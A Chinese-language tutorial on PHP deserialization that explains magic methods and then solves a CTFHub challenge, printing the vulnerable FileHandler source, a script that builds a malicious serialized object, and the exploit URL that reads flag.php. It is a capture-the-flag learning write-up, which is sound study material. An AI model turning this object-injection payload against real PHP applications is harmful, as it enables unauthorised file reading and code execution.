PHP反序列化

什么是序列化和反序列化?

序列化就是把内存中的对象(变量)的状态(值)转换成字节流,以便于传输、便于保存在内存、文件、数据库中,这样是为了能做到持久化。

反序列化即序列化的逆过程,由字节流还原成对象。

什么是反序列化攻击?

原理:没有用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行SQL注入目录遍历等不可控后果。

在反序列化的过程中会自动触发某些一些魔术方法。

下面就是PHP的一些魔术方法

1
2
3
4
5
6
7
8
9
__construct()//创建对象时触发
__destruct()//对象被销毁时触发
__call()//在对象上下文中调用不可访问的方法时触发
__callStatic()//在静态上下文中调用不可访问的方法时触发
__get()//用于从不可访问的属性读取数据
__set()//用于将数据写入不可访问的属性
__isset()//在不可访问的属性上调用 isset()或 empty()触发
__unset()//在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

首先我们先来学习一下序列化,比如把 admin 这个字符串进行序列化后,输出为

1
2
3
4
<?php
$key="admin";
echo serialize($key);
?>

image-20220426181850554

这就是一个序列化的过程,结果是一个字符串,这里的S代表字符串类型,5代表有5个字符

补充一下

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

那我们接着再来反序列化

1
2
3
4
<?php
$key='s:5:"admin"';
echo unserialize($key);
?>

image-20220426183642944

这是反序列化过程,结果为 原来的字符串 admin

有类的一个测试

反序列化可以把它分为有类和无类,上面那种就属于五类,下面这种就属于有类,有类五类的区别就是有类会执行魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class ABC{
public $test;
function __construct(){
$test = 1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>

运行结果为:

创建对象a

调用了构造函数

序列化

反序列化

调用了苏醒函数

对象快要死了!调用了析构函数

调用了析构函数

下面来练练手

真题

CTFHUB: https://www.ctfhub.com/#/challenge

image-20220426190410907

题目里给了一个源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

分析了一下源码,这个是属于有类

根据这道题的名称和代码最后涉及的unserialize判断是应该要运用反序列化知识点

第一:获取flag存储flag.php
第二:两个魔术方法__destruct __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

然后构造出反序列化的代码

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler{
public $op=' 2';//源码告诉我们op为1时候是执行写入,为2时执行读取
public $filename="flag.php";//文件开头调用的是flag.php
public $content="xd"; //因为里面有三个变量,所以这里的content内容是随便输入的,无关紧要
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

image-20220426193112867

把反序列化出来的值赋给str变量,因为最后是通过反序列化变量str进行输出flag的

所以访问

http://challenge-d55c5fcab64f6a6e.sandbox.ctfhub.com:10800/?str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

然后查看源代码,flag就出来了

image-20220426193435803

其他相关文章